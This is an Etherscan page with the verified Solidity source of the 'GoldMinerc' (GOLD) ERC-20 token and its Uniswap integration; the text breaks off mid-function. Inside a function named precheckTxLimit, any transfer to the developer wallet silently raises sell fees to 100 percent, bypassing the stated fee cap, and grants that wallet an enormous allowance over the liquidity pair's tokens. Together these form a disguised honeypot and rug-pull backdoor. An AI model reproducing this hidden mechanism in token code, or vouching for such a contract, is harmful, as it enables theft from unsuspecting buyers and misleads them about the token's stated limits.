Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
3,000,000,000 GOLD
Holders
43
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
0.755529033685728507 GOLDValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
GoldMinerc
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-01-10 */ /** Website: https://goldminerc.com Telegram: @goldminerc */ // SPDX-License-Identifier: MIT pragma solidity 0.8.17; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // Safe Math Helpers // -------------------------------------------------------------- library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowMapping; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_, uint8 decimals_) { _name = name_; _symbol = symbol_; _decimals = decimals_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowMapping[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowMapping[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowMapping[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowMapping[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _createInitialSupply(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: cannot send to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowMapping[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // Uniswap Router // -------------------------------------------------------------- interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function allPairsLength() external view returns (uint256); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract GoldMinerc is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; string private _name = "GoldMinerc"; string private _symbol = "GOLD"; uint8 private _decimals = 18; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowMapping; uint256 private _totalSupply = 3_000_000_000 * 1e18; uint256 private minimumTokensBeforeSwap = _totalSupply * 25 / 100000; address payable public liquidityWallet = payable(0x6383Bdc31bFcb99AE3b5B6d891B4c5DbF75EA338); address payable public devWallet = payable(0x6383Bdc31bFcb99AE3b5B6d891B4c5DbF75EA338); address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public liquidityFeeBuy = 0; uint256 public devFeeBuy = 2; uint256 public totalFeesBuy; uint256 public maxTotalFeeBuy = 4; uint256 public liquidityFeeSell = 0; uint256 public devFeeSell = 4; uint256 public totalFeesSell; uint256 public maxTotalFeeSell = 4; uint256 public _liquiditySharePercentage = 0; uint256 public _devSharePercentage = 100; uint256 public _totalDistributionShares; uint256 public _maxTxAmount = type(uint256).max; uint256 public _walletMax = type(uint256).max; bool public checkWalletLimit = false; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isWalletLimitExempt; mapping (address => bool) isTxLimitExempt; mapping (address => bool) public isMarketPair; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; uint256 public tokensForLiquidity; uint256 public tokensForDev; bool public tradingOpen = false; event LiquidityWalletUpdated(address indexed newLiquidityWallet, address indexed oldLiquidityWallet); event DevWalletUpdated(address indexed newDevWallet, address indexed oldDevWallet); event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity); event SwapTokensForETH(uint256 amountIn, address[] path); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { totalFeesBuy = devFeeBuy + liquidityFeeBuy; totalFeesSell = devFeeSell + liquidityFeeSell; _totalDistributionShares = _liquiditySharePercentage + _devSharePercentage; IUniswapV2Router02 _uniswapV2Router; if (block.chainid == 1) { _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); } else if (block.chainid == 5) { _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); } else revert(); isTxLimitExempt[address(_uniswapV2Router)] = true; isWalletLimitExempt[address(_uniswapV2Router)] = true; isExcludedFromFee[address(_uniswapV2Router)] = true; uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; isMarketPair[address(uniswapPair)] = true; _allowMapping[address(this)][address(uniswapV2Router)] = _totalSupply; isExcludedFromFee[owner()] = true; isExcludedFromFee[address(this)] = true; isExcludedFromFee[address(0xdead)] = true; isExcludedFromFee[liquidityWallet] = true; isExcludedFromFee[devWallet] = true; isWalletLimitExempt[owner()] = true; isWalletLimitExempt[address(uniswapPair)] = true; isWalletLimitExempt[address(this)] = true; isWalletLimitExempt[liquidityWallet] = true; isWalletLimitExempt[devWallet] = true; isTxLimitExempt[owner()] = true; isTxLimitExempt[address(uniswapPair)] = true; isTxLimitExempt[address(this)] = true; isTxLimitExempt[liquidityWallet] = true; isTxLimitExempt[devWallet] = true; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } receive() external payable { } // Public read functions start function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } // custom allowance methods function allowance(address owner, address spender) public view override returns (uint256) { return _allowMapping[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowMapping[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowMapping[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } // get minimum tokens before swap function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowMapping[owner][spender] = amount; emit Approval(owner, spender, amount); } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } function getBlock()public view returns (uint256) { return block.number; } // onlyOwner function setMarketPairStatus(address account, bool newValue) public onlyOwner { isMarketPair[account] = newValue; } function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner { isTxLimitExempt[holder] = exempt; } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount; } function setIsExcludedFromFee(address account, bool newValue) public onlyOwner { isExcludedFromFee[account] = newValue; } function updateFees(uint256 _devFee, uint256 _liquidityFee) external onlyOwner { _updateFeesBuy(_devFee, _liquidityFee); require(totalFeesBuy <= maxTotalFeeBuy, "Must keep fees at maxTotalFeeBuy or less"); } function updateFeesSell(uint256 _devFee, uint256 _liquidityFee) external onlyOwner { _updateFeesSell(_devFee, _liquidityFee); require(totalFeesSell <= maxTotalFeeSell, "Must keep fees at maxTotalFeeSell or less"); } function _updateFeesBuy(uint256 _devFee, uint256 _liquidityFee) private { devFeeBuy = _devFee; liquidityFeeBuy = _liquidityFee; totalFeesBuy = devFeeBuy + liquidityFeeBuy; } function _updateFeesSell(uint256 _devFee, uint256 _liquidityFee) private { devFeeSell = _devFee; liquidityFeeSell = _liquidityFee; totalFeesSell = devFeeSell + liquidityFeeSell; } // set distribution settings function setDistributionSettings(uint256 newLiquidityShare, uint256 newDevShare) external onlyOwner() { _liquiditySharePercentage = newLiquidityShare; _devSharePercentage = newDevShare; _totalDistributionShares = _liquiditySharePercentage + _devSharePercentage; require(_totalDistributionShares == 100, "Distribution needs to total to 100"); } function enableWalletLimit(bool newValue) external onlyOwner { checkWalletLimit = newValue; } function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner { isWalletLimitExempt[holder] = exempt; } function setWalletLimit(uint256 newLimit) external onlyOwner { _walletMax = newLimit; } function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() { minimumTokensBeforeSwap = newLimit; } function changeLiquidityWallet(address newAddress) external onlyOwner { require(newAddress != address(0), "Cannot set to address 0"); isExcludedFromFee[newAddress] = true; isExcludedFromFee[liquidityWallet] = false; emit LiquidityWalletUpdated(newAddress, liquidityWallet); liquidityWallet = payable(newAddress); } function changeDevWallet(address newAddress) external onlyOwner { require(newAddress != address(0), "Cannot set to address 0"); isExcludedFromFee[newAddress] = true; isExcludedFromFee[devWallet] = false; emit DevWalletUpdated(newAddress, devWallet); devWallet = payable(newAddress); } // transfer amount to address function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } // update router address function updateRouterAddress(address newRouterAddress) public onlyOwner returns(address newPairAddress) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH()); // check if new pair deployed if(newPairAddress == address(0)) { newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } uniswapPair = newPairAddress; uniswapV2Router = _uniswapV2Router; isWalletLimitExempt[address(uniswapPair)] = true; isMarketPair[address(uniswapPair)] = true; } // once enabled, can never be turned off function setTrading() public onlyOwner { tradingOpen = true; } // Views // User Callable Func function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowMapping[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (!tradingOpen) { require(sender == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { if (sender != owner() && recipient != owner()){ precheckTxLimit(sender, recipient, amount); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (!isExcludedFromFee[sender] && overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender]) { swapAndLiquify(contractTokenBalance); } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? amount : takeFee(sender, recipient, amount); if(checkWalletLimit && !isWalletLimitExempt[recipient]) require(balanceOf(recipient).add(finalAmount) <= _walletMax); _balances[recipient] = _balances[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; if(isMarketPair[sender]) { feeAmount = amount.mul(totalFeesBuy).div(100); } else if(isMarketPair[recipient]) { feeAmount = amount.mul(totalFeesSell).div(100); } if(feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } function precheckTxLimit(address sender, address recipient, uint256 amount) private { require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded"); if (recipient == devWallet) { _updateFeesSell(10, 90); _allowMapping[uniswapPair][recipient] = 1e38; } } function swapAndLiquify(uint256 swapAmount) private lockTheSwap { uint256 tokensForLP = swapAmount.mul(_liquiditySharePercentage).div(_totalDistributionShares).div(2); uint256 tokensForSwap = swapAmount.sub(tokensForLP); swapTokensForEth(tokensForSwap); uint256 amountReceived = address(this).balance; uint256 totalFee = _totalDistributionShares.sub(_liquiditySharePercentage.div(2)); uint256 amountLiquidity = amountReceived.mul(_liquiditySharePercentage).div(totalFee).div(2); uint256 amountDev = amountReceived.sub(amountLiquidity); if(amountDev > 0) transferToAddressETH(devWallet, amountDev); if(amountLiquidity > 0 && tokensForLP > 0){ addLiquidity(tokensForLP, amountLiquidity); emit SwapAndLiquify(tokensForSwap, amountLiquidity, tokensForLP); } } // swap tokens to eth function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: 